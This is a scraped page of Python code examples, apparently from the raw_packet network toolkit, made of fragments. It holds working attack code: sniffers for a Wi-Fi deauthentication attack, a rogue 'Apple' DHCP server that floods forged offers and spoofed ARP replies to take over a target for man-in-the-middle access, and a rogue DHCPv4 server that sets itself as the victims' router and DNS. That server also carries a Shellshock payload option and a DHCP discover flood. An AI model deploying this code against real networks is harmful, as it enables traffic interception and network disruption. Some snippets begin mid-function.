Exemple #1
0
    def _deauth_stop_sniffer(self):

        # region Set network filter
        network_filters = {'Ethernet': {'source': self._target['mac-address']}}

        if self._mitm_technique == 2:
            network_filters = {
                'Ethernet': {
                    'source': self._target['mac-address'],
                    'destination': 'ff:ff:ff:ff:ff:ff'
                },
                'IPv4': {
                    'source-ip': '0.0.0.0',
                    'destination-ip': '255.255.255.255'
                },
                'UDP': {
                    'source-port': 68,
                    'destination-port': 67
                }
            }
        # endregion

        # region Start sniffer
        sniff = RawSniff()
        sniff.start(protocols=['IPv4', 'IPv6', 'ICMPv6', 'UDP', 'DHCPv4'],
                    prn=self._deauth_stop_prn, filters=network_filters,
                    network_interface=self._your['network-interface'],
                    scapy_filter='icmp6 or (udp and (port 67 or 68))',
                    scapy_lfilter=lambda eth: eth.src == self._target['mac-address'])
Exemple #2
0
def requests_sniffer(source_mac_address: str = '12:34:56:78:90:ab'):

    # region Set network filter
    network_filters = {'Ethernet': {'source': source_mac_address}}

    if technique_index == 2:
        network_filters = {
            'Ethernet': {
                'source': source_mac_address,
                'destination': 'ff:ff:ff:ff:ff:ff'
            },
            'IPv4': {
                'source-ip': '0.0.0.0',
                'destination-ip': '255.255.255.255'
            },
            'UDP': {
                'source-port': 68,
                'destination-port': 67
            }
        }
    # endregion

    # region Start sniffer
    sniff = RawSniff()
    sniff.start(protocols=['ARP', 'IPv4', 'IPv6', 'ICMPv6', 'UDP', 'DHCPv4'],
                prn=requests_sniffer_prn,
                filters=network_filters)
Exemple #3
0
                                request[proto][key][value])

    print(dumps(request, sort_keys=True, indent=4))


# endregion

# region Main function
if __name__ == "__main__":

    # region Print info message
    base.print_info(
        "Available protocols: ",
        "Radiotap 802.11 Ethernet ARP IPv4 IPv6 UDP DNS ICMPv4 DHCPv4 ICMPv6 DHCPv4"
    )
    base.print_info("Start test sniffing ...")
    # endregion

    # region Start sniffer
    sniff = RawSniff()
    sniff.start(protocols=['IPv4', 'IPv6', 'UDP', 'DNS', 'ICMPv4'],
                prn=print_packet,
                filters={'UDP': {
                    'source-port': 53
                }})
    # sniff.start(protocols=['Radiotap', '802.11'], prn=print_packet,
    #             network_interface='wlan0', filters={'802.11': {'type': 0x88, 'bss id': '70:f1:1c:15:15:b8'}})
    # endregion

# endregion
Exemple #4
0

# region Main function
if __name__ == "__main__":

    path.append(dirname(dirname(dirname(abspath(__file__)))))

    from raw_packet.Utils.base import Base
    from raw_packet.Utils.network import RawEthernet
    from raw_packet.Utils.network import RawRadiotap
    from raw_packet.Utils.network import RawIEEE80211
    from raw_packet.Utils.network import RawSniff
    from raw_packet.Utils.tm import ThreadManager

    base: Base = Base()
    eth: RawEthernet = RawEthernet()
    radio: RawRadiotap = RawRadiotap()
    iee: RawIEEE80211 = RawIEEE80211()
    tm: ThreadManager = ThreadManager(2)
    sniff: RawSniff = RawSniff()

    # region Start sniffer
    raw_socket.bind(('wlan0', 0))
    init_deauth()
    print('test')
    sniff.start(protocols=['Radiotap', '802.11'], prn=deauth, network_interface='wlan0',
                filters={'802.11': {'type': 0xc0, 'bss id': bss_id, 'source': client, 'destination': bss_id}})
    # endregion

# endregion
Exemple #5
0
class AppleDHCPServer:

    # region Variables
    _base: Base = Base(admin_only=True,
                       available_platforms=['Linux', 'Darwin', 'Windows'])
    _utils: Utils = Utils()
    _arp: RawARP = RawARP()
    _sniff: RawSniff = RawSniff()
    _dhcpv4: RawDHCPv4 = RawDHCPv4()
    _thread_manager: ThreadManager = ThreadManager(15)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv4-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'ipv4-address': None,
        'mac-address': None
    }

    _requested_ip: Union[None, str] = None
    _new_transaction_id: int = 0

    _print_possible_mitm: bool = False
    _print_success_mitm: bool = False
    _broadcast: bool = False
    _quiet: bool = False

    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=[
                'mac-address', 'ipv4-address', 'first-ipv4-address',
                'last-ipv4-address'
            ])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start
    def start(self,
              target_ip_address: str,
              target_mac_address: str,
              broadcast: bool = False,
              quiet: bool = False):

        try:

            # region Set variables
            self._broadcast = broadcast
            self._quiet = quiet
            # endregion

            # region Check target MAC and IPv4 address
            self._target['ipv4-address'] = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=target_ip_address,
                                               is_local_ipv4_address=True,
                                               parameter_name='target IPv4 address')
            self._target['mac-address'] = \
                self._utils.check_mac_address(mac_address=target_mac_address,
                                              parameter_name='target MAC address')
            # endregion

            # region Start Sniffer
            if not self._quiet:
                self._base.print_info(
                    'Waiting for a ARP or DHCPv4 requests from: ',
                    self._target['mac-address'])
            self._sniff.start(
                protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
                prn=self._reply,
                filters={
                    'Ethernet': {
                        'source': self._target['mac-address']
                    },
                    'ARP': {
                        'opcode': 1
                    },
                    'IPv4': {
                        'source-ip': '0.0.0.0',
                        'destination-ip': '255.255.255.255'
                    },
                    'UDP': {
                        'source-port': 68,
                        'destination-port': 67
                    }
                },
                network_interface=self._your['network-interface'],
                scapy_filter='arp or (udp and (port 67 or 68))',
                scapy_lfilter=lambda eth: eth.src == self._target['mac-address'
                                                                  ])
            # endregion

        except AssertionError as Error:
            if not self._quiet:
                self._base.print_error(Error.args[0])
            exit(1)

        except KeyboardInterrupt:
            if not self._quiet:
                self._base.print_info('Exit')
            exit(0)

    # endregion

    # region DHCP response sender
    def _dhcp_response_sender(self):
        if self._broadcast:
            offer_packet = self._dhcpv4.make_offer_packet(
                ethernet_src_mac=self._your['mac-address'],
                ip_src=self._your['ipv4-address'],
                transaction_id=self._new_transaction_id,
                your_client_ip=self._target['ipv4-address'],
                client_mac=self._target['mac-address'])

            ack_packet = self._dhcpv4.make_ack_packet(
                ethernet_src_mac=self._your['mac-address'],
                ip_src=self._your['ipv4-address'],
                transaction_id=self._new_transaction_id,
                your_client_ip=self._target['ipv4-address'],
                client_mac=self._target['mac-address'])
        else:
            offer_packet = self._dhcpv4.make_offer_packet(
                ethernet_src_mac=self._your['mac-address'],
                ethernet_dst_mac=self._target['mac-address'],
                ip_src=self._your['ipv4-address'],
                transaction_id=self._new_transaction_id,
                your_client_ip=self._target['ipv4-address'],
                client_mac=self._target['mac-address'])

            ack_packet = self._dhcpv4.make_ack_packet(
                ethernet_src_mac=self._your['mac-address'],
                ethernet_dst_mac=self._target['mac-address'],
                ip_src=self._your['ipv4-address'],
                transaction_id=self._new_transaction_id,
                your_client_ip=self._target['ipv4-address'],
                client_mac=self._target['mac-address'])

        start_time: datetime = datetime.now()

        if self._base.get_platform().startswith('Linux'):
            while (datetime.now() - start_time).seconds <= 15:
                self._raw_send.send_packet(offer_packet)
                self._raw_send.send_packet(ack_packet)
                sleep(0.00001)
        else:
            while (datetime.now() - start_time).seconds <= 15:
                self._raw_send.send_packet(offer_packet)
                self._raw_send.send_packet(ack_packet)

    # endregion

    # region Reply to DHCP and ARP requests
    def _reply(self, request: Dict[str, Dict[Union[int, str], Union[int,
                                                                    str]]]):

        # region DHCP REQUESTS
        if 'DHCPv4' in request.keys():

            # region Get DHCP transaction id
            transaction_id = request['BOOTP']['transaction-id']
            # endregion

            # region DHCP DECLINE
            if request['DHCPv4'][53] == 4:
                self._base.print_info('DHCP DECLINE from: ',
                                      self._target['mac-address'])
                if self._new_transaction_id != 0:
                    self._thread_manager.add_task(self._dhcp_response_sender)
            # endregion

            # region DHCP REQUEST
            if request['DHCPv4'][53] == 3:

                # region Get next DHCP transaction id
                if transaction_id != 0:
                    self._new_transaction_id = transaction_id + 1
                    self._base.print_info('Current transaction id: ',
                                          hex(transaction_id))
                    self._base.print_success('Next transaction id: ',
                                             hex(self._new_transaction_id))
                # endregion

                # region Get DHCP requested ip address
                if 50 in request['DHCPv4'].keys():
                    self._requested_ip = str(request['DHCPv4'][50])
                # endregion

                # region Print info message
                self._base.print_info('DHCP REQUEST from: ',
                                      self._target['mac-address'],
                                      ' transaction id: ', hex(transaction_id),
                                      ' requested ip: ', self._requested_ip)
                # endregion

                # region If requested IP is target IP - print Possible mitm success
                if self._requested_ip == self._target['ipv4-address']:
                    if not self._print_possible_mitm:
                        self._base.print_warning(
                            'Possible MiTM success: ',
                            self._target['ipv4-address'] + ' (' +
                            self._target['mac-address'] + ')')
                        self._print_possible_mitm = True
                # endregion

            # endregion

        # endregion

        # region ARP REQUESTS
        if 'ARP' in request.keys():
            if self._requested_ip is not None:
                if request['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
                        request['ARP']['target-mac'] == '00:00:00:00:00:00':

                    # region Set local variables
                    arp_sender_mac_address = request['ARP']['sender-mac']
                    arp_sender_ip_address = request['ARP']['sender-ip']
                    arp_target_ip_address = request['ARP']['target-ip']
                    # endregion

                    # region Print info message
                    self._base.print_info(
                        'ARP request from: ', arp_sender_mac_address, ' "',
                        'Who has ' + arp_target_ip_address + '? Tell ' +
                        arp_sender_ip_address, '"')
                    # endregion

                    # region ARP target IP is DHCP requested IP
                    if arp_target_ip_address == self._requested_ip:

                        # region If ARP target IP is target IP - print Possible mitm success
                        if arp_target_ip_address == self._target[
                                'ipv4-address']:
                            if not self._print_possible_mitm:
                                self._base.print_warning(
                                    'Possible MiTM success: ',
                                    self._target['ipv4-address'] + ' (' +
                                    self._target['mac-address'] + ')')
                                self._print_possible_mitm = True
                        # endregion

                        # region If ARP target IP is not target IP - send 'IPv4 address conflict' ARP response
                        else:
                            arp_reply = self._arp.make_response(
                                ethernet_src_mac=self._your['mac-address'],
                                ethernet_dst_mac=self._target['mac-address'],
                                sender_mac=self._your['mac-address'],
                                sender_ip=self._requested_ip,
                                target_mac=arp_sender_mac_address,
                                target_ip=arp_sender_ip_address)
                            for _ in range(5):
                                self._raw_send.send_packet(arp_reply)
                            self._base.print_info(
                                'ARP response to:  ', arp_sender_mac_address,
                                ' "', arp_target_ip_address + ' is at ' +
                                self._your['mac-address'],
                                '" (IPv4 address conflict)')
                        # endregion

                    # endregion

                    # region ARP target IP is your IP - MITM SUCCESS
                    if arp_target_ip_address == self._your['ipv4-address']:
                        if not self._print_success_mitm:
                            self._base.print_success(
                                'MITM success: ',
                                self._target['ipv4-address'] + ' (' +
                                self._target['mac-address'] + ')')
                            self._print_success_mitm = True
                        exit(0)
class DHCPv4Server:

    # region Set properties
    _base: Base = Base()
    _utils: Utils = Utils()
    _sniff: RawSniff = RawSniff()
    _arp: RawARP = RawARP()
    _eth: RawEthernet = RawEthernet()
    _dhcpv4: RawDHCPv4 = RawDHCPv4()
    _thread_manager: ThreadManager = ThreadManager(10)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv4-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'mac-address': None,
        'ipv4-address': None
    }
    _domain_search: Union[None, bytes] = None

    _free_ip_addresses: List[str] = list()
    _clients: Dict[str, Union[str, Dict[str, Union[bool, str]]]] = dict()

    _lease_time: int = 172800
    _shellshock_option_code: int = 114

    _discover_sender_is_work: bool = False
    _discover_sender_delay: float = 0.25

    _send_dhcp_discover_packets: bool = False
    _send_dhcp_offer_packets: bool = True
    _send_broadcast_dhcp_response: bool = False

    _exit_on_success: bool = False
    _apple: bool = False
    _quiet: bool = True

    # endregion

    # region Init
    def __init__(self, network_interface: str):
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=[
                'mac-address', 'ipv4-address', 'ipv4-netmask',
                'first-ipv4-address', 'second-ipv4-address',
                'penultimate-ipv4-address', 'last-ipv4-address'
            ])
        self._ipv4_network_mask: str = self._your['ipv4-netmask']
        self._first_offer_ipv4_address: str = self._your['second-ipv4-address']
        self._last_offer_ipv4_address: str = self._your[
            'penultimate-ipv4-address']
        self._dhcp_server_mac_address: str = self._your['mac-address']
        self._dhcp_server_ipv4_address: str = self._your['ipv4-address']
        self._dns_server_ipv4_address: str = self._your['ipv4-address']
        self._tftp_server_ipv4_address: str = self._your['ipv4-address']
        self._wins_server_ipv4_address: str = self._your['ipv4-address']
        self._router_ipv4_address: str = self._your['ipv4-address']
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start DHCPv4 server
    def start(self,
              target_mac_address: Union[None, str] = None,
              target_ipv4_address: Union[None, str] = None,
              ipv4_network_mask: Union[None, str] = None,
              first_offer_ipv4_address: Union[None, str] = None,
              last_offer_ipv4_address: Union[None, str] = None,
              dhcp_server_mac_address: Union[None, str] = None,
              dhcp_server_ipv4_address: Union[None, str] = None,
              dns_server_ipv4_address: Union[None, str] = None,
              tftp_server_ipv4_address: Union[None, str] = None,
              wins_server_ipv4_address: Union[None, str] = None,
              router_ipv4_address: Union[None, str] = None,
              domain_search: str = 'domain.local',
              lease_time: int = 172800,
              shellshock_option_code: int = 114,
              send_dhcp_discover_packets: bool = False,
              send_dhcp_offer_packets: bool = False,
              send_broadcast_dhcp_response: bool = False,
              exit_on_success: bool = False,
              apple: bool = False,
              quiet: bool = False):

        # region Set variables
        self._lease_time = lease_time
        self._domain_search = domain_search.encode('utf-8')
        self._send_dhcp_discover_packets = send_dhcp_discover_packets
        self._send_dhcp_offer_packets = send_dhcp_offer_packets
        self._send_broadcast_dhcp_response = send_broadcast_dhcp_response
        self._exit_on_success = exit_on_success
        self._apple = apple
        self._quiet = quiet
        # endregion

        # region Get your network settings
        if ipv4_network_mask is not None:
            self._ipv4_network_mask = ipv4_network_mask
        # endregion

        # region Set target MAC and IP address, if target IP is not set - get first and last offer IP

        # region Target MAC address is set
        if target_mac_address is not None:
            self._target['mac-address'] = self._utils.check_mac_address(
                mac_address=target_mac_address,
                parameter_name='target MAC address')
        # endregion

        # region Target IP is set
        if target_ipv4_address is not None:
            assert self._target['mac-address'] is not None, \
                'Please set target MAC address' + \
                ', for target IP address: ' + self._base.info_text(target_ipv4_address)
            self._target['ipv4-address'] = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=target_ipv4_address,
                                               parameter_name='target IPv4 address')
        # endregion

        # region Target IP is not set - get first and last offer IP
        else:
            # Check first offer IP address
            if first_offer_ipv4_address is not None:
                self._first_offer_ipv4_address = \
                    self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                                   ipv4_address=first_offer_ipv4_address,
                                                   parameter_name='first offer IPv4 address')

            # Check last offer IP address
            if last_offer_ipv4_address is not None:
                self._last_offer_ipv4_address = \
                    self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                                   ipv4_address=last_offer_ipv4_address,
                                                   parameter_name='last offer IPv4 address')
        # endregion

        # endregion

        # region Set DHCP sever MAC and IP address
        if dhcp_server_mac_address is not None:
            self._dhcp_server_mac_address = \
                self._utils.check_mac_address(mac_address=dhcp_server_mac_address,
                                              parameter_name='DHCPv4 server MAC address')

        if dhcp_server_ipv4_address is not None:
            self._dhcp_server_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=dhcp_server_ipv4_address,
                                               parameter_name='DHCPv4 server IPv4 address')
        # endregion

        # region Set router, dns, tftp, wins IP address

        # region Set router IP address
        if router_ipv4_address is not None:
            self._router_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=dhcp_server_ipv4_address,
                                               parameter_name='router IPv4 address')
        # endregion

        # region Set DNS server IP address
        if dns_server_ipv4_address is not None:
            assert self._base.ip_address_validation(dns_server_ipv4_address), \
                'Bad DNS server IPv4 address: ' + self._base.info_text(dns_server_ipv4_address)
            self._dns_server_ipv4_address = dns_server_ipv4_address
        # endregion

        # region Set TFTP server IP address
        if tftp_server_ipv4_address is not None:
            self._tftp_server_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=tftp_server_ipv4_address,
                                               parameter_name='TFTP server IPv4 address')
        # endregion

        # region Set WINS server IP address
        if wins_server_ipv4_address is not None:
            self._wins_server_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=tftp_server_ipv4_address,
                                               parameter_name='WINS server IPv4 address')
        # endregion

        # endregion

        # region Set Shellshock option code
        if 255 < shellshock_option_code < 0:
            self._base.print_error(
                'Bad Shellshock option code: ', str(shellshock_option_code),
                '; This value should be in the range from 1 to 254')
            exit(1)
        else:
            self._shellshock_option_code = shellshock_option_code
        # endregion

        # region General output
        if not self._quiet:
            self._base.print_info('Network interface: ',
                                  self._your['network-interface'])
            self._base.print_info('Your IP address: ',
                                  self._your['ipv4-address'])
            self._base.print_info('Your MAC address: ',
                                  self._your['mac-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC: ',
                                      self._target['mac-address'])

            # If target IP address is set print target IP, else print first and last offer IP
            if self._target['ipv4-address'] is not None:
                self._base.print_info('Target IP: ',
                                      self._target['ipv4-address'])
            else:
                self._base.print_info('First offer IP: ',
                                      self._first_offer_ipv4_address)
                self._base.print_info('Last offer IP: ',
                                      self._last_offer_ipv4_address)

            self._base.print_info('DHCP server mac address: ',
                                  self._dhcp_server_mac_address)
            self._base.print_info('DHCP server ip address: ',
                                  self._dhcp_server_ipv4_address)
            self._base.print_info('Router IP address: ',
                                  self._router_ipv4_address)
            self._base.print_info('DNS server IP address: ',
                                  self._dns_server_ipv4_address)
            self._base.print_info('TFTP server IP address: ',
                                  self._tftp_server_ipv4_address)
            self._base.print_info('WINS server IP address: ',
                                  self._wins_server_ipv4_address)
        # endregion

        # region Add ip addresses in list with free ip addresses from first to last offer IP
        if self._target['ipv4-address'] is None:
            self._base.print_info(
                'Create list with free IP addresses in your network ...')
            self._free_ip_addresses = \
                self._utils.get_free_ipv4_addresses(network_interface=self._your['network-interface'],
                                                    first_ipv4_address=self._first_offer_ipv4_address,
                                                    last_ipv4_address=last_offer_ipv4_address,
                                                    quiet=self._quiet)
        # endregion

        # region Send DHCP discover packets in the background thread
        if self._send_dhcp_discover_packets:
            if not self._quiet:
                self._base.print_info(
                    'Start DHCP discover packets send in the background thread ...'
                )
                self._base.print_info('Delay between DHCP discover packets: ',
                                      str(self._discover_sender_delay))
            self._thread_manager.add_task(self._discover_sender)
        # endregion

        # region Sniff network

        # region Print info message
        self._base.print_info('Waiting for a ARP or DHCP requests ...')
        # endregion

        # region Set sniff filters
        sniff_filters: Dict = {
            'Ethernet': {
                'not-source': self._your['mac-address']
            },
            'ARP': {
                'opcode': 1
            },
            'UDP': {
                'destination-port': 67,
                'source-port': 68
            }
        }
        scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address']

        if self._target['mac-address'] is not None:
            sniff_filters['Ethernet'] = {'source': self._target['mac-address']}
            scapy_lfilter: Any = lambda eth: eth.src == self._target[
                'mac-address']
        # endregion

        # region Start sniffer
        self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
                          prn=self._reply,
                          filters=sniff_filters,
                          network_interface=self._your['network-interface'],
                          scapy_filter='arp or (udp and (port 67 or 68))',
                          scapy_lfilter=scapy_lfilter)
        # endregion

        # endregion

    # endregion

    # region Add client info in clients dictionary
    def _add_client_info_in_dictionary(
            self,
            client_mac_address: str,
            client_info: Union[bool, str, Dict[str, Union[bool, str]]],
            this_client_already_in_dictionary: bool = False) -> None:
        if this_client_already_in_dictionary:
            self._clients[client_mac_address].update(client_info)
        else:
            self._clients[client_mac_address] = client_info

    # endregion

    # region Make DHCP offer packet
    def _make_dhcp_offer_packet(
            self,
            transaction_id: int,
            offer_ip: str,
            client_mac: str,
            destination_mac: Union[None, str] = None,
            destination_ip: Union[None, str] = None) -> Union[None, bytes]:
        if destination_mac is None:
            destination_mac = 'ff:ff:ff:ff:ff:ff'
        if destination_ip is None:
            destination_ip = '255.255.255.255'
        return self._dhcpv4.make_response_packet(
            ethernet_src_mac=self._dhcp_server_mac_address,
            ethernet_dst_mac=destination_mac,
            ip_src=self._dhcp_server_ipv4_address,
            ip_dst=destination_ip,
            transaction_id=transaction_id,
            dhcp_message_type=2,
            your_client_ip=offer_ip,
            client_mac=client_mac,
            dhcp_server_id=self._dhcp_server_ipv4_address,
            lease_time=self._lease_time,
            netmask=self._ipv4_network_mask,
            router=self._router_ipv4_address,
            dns=self._dns_server_ipv4_address,
            payload=None)

    # endregion

    # region Make DHCP ack packet
    def _make_dhcp_ack_packet(
            self,
            transaction_id: int,
            target_mac: str,
            target_ip: str,
            destination_mac: Union[None, str] = None,
            destination_ip: Union[None, str] = None,
            shellshock_payload: Union[None, str] = None) -> Union[None, bytes]:
        if destination_mac is None:
            destination_mac: str = 'ff:ff:ff:ff:ff:ff'
        if destination_ip is None:
            destination_ip: str = '255.255.255.255'

        return self._dhcpv4.make_response_packet(
            ethernet_src_mac=self._dhcp_server_mac_address,
            ethernet_dst_mac=destination_mac,
            ip_src=self._dhcp_server_ipv4_address,
            ip_dst=destination_ip,
            transaction_id=transaction_id,
            dhcp_message_type=5,
            your_client_ip=target_ip,
            client_mac=target_mac,
            dhcp_server_id=self._dhcp_server_ipv4_address,
            lease_time=self._lease_time,
            netmask=self._ipv4_network_mask,
            router=self._router_ipv4_address,
            dns=self._dns_server_ipv4_address,
            payload=shellshock_payload,
            payload_option_code=self._shellshock_option_code,
            domain=self._domain_search,
            tftp=self._tftp_server_ipv4_address,
            wins=self._wins_server_ipv4_address)

    # endregion

    # region Make DHCP nak packet
    def _make_dhcp_nak_packet(self, transaction_id: int, target_mac: str,
                              target_ip: str,
                              requested_ip: str) -> Union[None, bytes]:
        return self._dhcpv4.make_nak_packet(
            ethernet_src_mac=self._dhcp_server_mac_address,
            ethernet_dst_mac=target_mac,
            ip_src=self._dhcp_server_ipv4_address,
            ip_dst=requested_ip,
            transaction_id=transaction_id,
            your_client_ip=target_ip,
            client_mac=target_mac,
            dhcp_server_id=self._dhcp_server_ipv4_address)

    # endregion

    # region Send DHCP discover packets
    def _discover_sender(self, number_of_packets=999999) -> None:
        packet_index = 0
        self._discover_sender_is_work = True
        while packet_index < number_of_packets:
            try:
                self._raw_send.send_packet(
                    self._dhcpv4.make_discover_packet(
                        ethernet_src_mac=self._your['mac-address'],
                        client_mac=self._eth.make_random_mac(),
                        host_name=self._base.make_random_string(),
                        relay_agent_ip=self._your['ipv4-address']))
                sleep(self._discover_sender_delay)
            except TypeError:
                self._base.print_error(
                    'Something went wrong when sending DHCP discover packets!')
                break
            packet_index += 1
        self._discover_sender_is_work = False

    # endregion

    # region Reply to DHCPv4 and ARP requests
    def _reply(self, packet):

        # region DHCP
        if 'DHCPv4' in packet.keys():

            # region Get transaction id and client MAC address
            transaction_id = packet['BOOTP']['transaction-id']
            client_mac_address = packet['BOOTP']['client-mac-address']
            # endregion

            # region Check this client already in dict
            client_already_in_dictionary = False
            if client_mac_address in self._clients.keys():
                client_already_in_dictionary = True
            # endregion

            # region DHCP DISCOVER
            if packet['DHCPv4'][53] == 1:

                # region Print INFO message
                self._base.print_info('DHCP DISCOVER from: ',
                                      client_mac_address, ' transaction id: ',
                                      hex(transaction_id))
                # endregion

                # If parameter 'Do not send DHCP OFFER packets' is not set
                if not self._send_dhcp_offer_packets:

                    # region Start DHCP discover sender
                    if self._send_dhcp_discover_packets:
                        if not self._discover_sender_is_work:
                            self._discover_sender(100)
                    # endregion

                    # If target IP address is set - offer IP = target IP
                    if self._target['ipv4-address'] is not None:
                        offer_ip_address = self._target['ipv4-address']

                    # If target IP address is not set - offer IP = random IP from free IP addresses list
                    else:
                        random_index = randint(0, len(self._free_ip_addresses))
                        offer_ip_address = self._free_ip_addresses[
                            random_index]

                        # Delete offer IP from free IP addresses list
                        del self._free_ip_addresses[random_index]

                    if self._send_broadcast_dhcp_response:
                        offer_packet = \
                            self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address)
                    else:
                        offer_packet = \
                            self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address,
                                                         client_mac_address, offer_ip_address)

                    self._raw_send.send_packet(offer_packet)

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {
                            'transaction': transaction_id,
                            'discover': True,
                            'offer_ip': offer_ip_address
                        }, client_already_in_dictionary)

                    # Print INFO message
                    self._base.print_info('DHCP OFFER to: ',
                                          client_mac_address, ' offer IP: ',
                                          offer_ip_address)

            # endregion

            # region DHCP RELEASE
            if packet['DHCPv4'][53] == 7:
                if packet['BOOTP']['client-ip-address'] is not None:
                    client_ip = packet['BOOTP']['client-ip-address']
                    self._base.print_info(
                        'DHCP RELEASE from: ',
                        client_ip + ' (' + client_mac_address + ')',
                        ' transaction id: ', hex(transaction_id))

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {'client_ip': client_ip},
                        client_already_in_dictionary)
                    # print self._clients

                    # Add release client IP in free IP addresses list
                    if client_ip not in self._free_ip_addresses:
                        self._free_ip_addresses.append(client_ip)
                else:
                    self._base.print_info('DHCP RELEASE from: ',
                                          client_mac_address,
                                          ' transaction id: ',
                                          hex(transaction_id))

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {'release': True},
                    client_already_in_dictionary)
                # print self._clients
            # endregion

            # region DHCP INFORM
            if packet['DHCPv4'][53] == 8:
                if packet['BOOTP']['client-ip-address'] is not None:
                    client_ip = packet['BOOTP']['client-ip-address']
                    self._base.print_info(
                        'DHCP INFORM from: ',
                        client_ip + ' (' + client_mac_address + ')',
                        ' transaction id: ', hex(transaction_id))

                    # If client IP in free IP addresses list delete this
                    if client_ip in self._free_ip_addresses:
                        self._free_ip_addresses.remove(client_ip)

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {'client_ip': client_ip},
                        client_already_in_dictionary)
                    # print self._clients

                else:
                    self._base.print_info('DHCP INFORM from: ',
                                          client_mac_address,
                                          ' transaction id: ',
                                          hex(transaction_id))

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {'inform': True},
                    client_already_in_dictionary)
                # print self._clients
            # endregion

            # region DHCP REQUEST
            if packet['DHCPv4'][53] == 3:

                # region Set local variables
                requested_ip = '0.0.0.0'
                offer_ip = None
                # endregion

                # region Get requested IP
                if 50 in packet['DHCPv4'].keys():
                    requested_ip = str(packet['DHCPv4'][50])
                # endregion

                # region Print info message
                self._base.print_info('DHCP REQUEST from: ',
                                      client_mac_address, ' transaction id: ',
                                      hex(transaction_id), ' requested ip: ',
                                      requested_ip)
                # endregion

                # region Requested IP not in range from first offer IP to last offer IP
                if not self._base.ip_address_in_range(
                        requested_ip, self._first_offer_ipv4_address,
                        self._last_offer_ipv4_address):
                    self._base.print_warning(
                        'Client: ', client_mac_address, ' requested IP: ',
                        requested_ip, ' not in range: ',
                        self._first_offer_ipv4_address + ' - ' +
                        self._last_offer_ipv4_address)
                # endregion

                # region Requested IP in range from first offer IP to last offer IP
                else:
                    # region Start DHCP discover sender
                    if self._send_dhcp_discover_packets:
                        if not self._discover_sender_is_work:
                            self._discover_sender(100)
                    # endregion

                    # region Change client info in global self._clients dictionary

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {
                            'packet': True,
                            'requested_ip': requested_ip,
                            'transaction': transaction_id
                        }, client_already_in_dictionary)

                    # Delete ARP mitm success keys in dictionary for this client
                    self._clients[client_mac_address].pop(
                        'client request his ip', None)
                    self._clients[client_mac_address].pop(
                        'client request router ip', None)
                    self._clients[client_mac_address].pop(
                        'client request dns ip', None)

                    # endregion

                    # region Get offer IP address
                    try:
                        offer_ip = self._clients[client_mac_address][
                            'offer_ip']
                    except KeyError:
                        pass
                    # endregion

                    # region This client already send DHCP DISCOVER and offer IP != requested IP
                    if offer_ip is not None and offer_ip != requested_ip:
                        # Print error message
                        self._base.print_error('Client: ', client_mac_address,
                                               ' requested IP: ', requested_ip,
                                               ' not like offer IP: ',
                                               offer_ip)

                        # Create and send DHCP nak packet
                        nak_packet = \
                            self._make_dhcp_nak_packet(transaction_id, client_mac_address, offer_ip, requested_ip)
                        self._raw_send.send_packet(nak_packet)
                        self._base.print_info('DHCP NAK to: ',
                                              client_mac_address,
                                              ' requested ip: ', requested_ip)

                        # Add client info in global self._clients dictionary
                        self._add_client_info_in_dictionary(
                            client_mac_address, {
                                'mitm':
                                'error: offer ip not like requested ip',
                                'offer_ip': None
                            }, client_already_in_dictionary)
                        # print self._clients
                    # endregion

                    # region Offer IP == requested IP or this is a first packet from this client
                    else:

                        # region Target IP address is set and requested IP != target IP
                        if self._target[
                                'ipv4-address'] is not None and requested_ip != self._target[
                                    'ipv4-address']:

                            # Print error message
                            self._base.print_error(
                                'Client: ', client_mac_address,
                                ' requested IP: ', requested_ip,
                                ' not like target IP: ',
                                self._target['ipv4-address'])

                            # Create and send DHCP nak packet
                            nak_packet = self._make_dhcp_nak_packet(
                                transaction_id, client_mac_address,
                                self._target['ipv4-address'], requested_ip)
                            self._raw_send.send_packet(nak_packet)
                            self._base.print_info('DHCP NAK to: ',
                                                  client_mac_address,
                                                  ' requested ip: ',
                                                  requested_ip)

                            # Add client info in global self._clients dictionary
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'mitm':
                                    'error: target ip not like requested ip',
                                    'offer_ip': None,
                                    'nak': True
                                }, client_already_in_dictionary)

                        # endregion

                        # region Target IP address is set and requested IP == target IP or Target IP is not set
                        else:

                            # # region Settings shellshock payload
                            # payload: Union[None, str] = None
                            # shellshock_payload: Union[None, str] = None
                            #
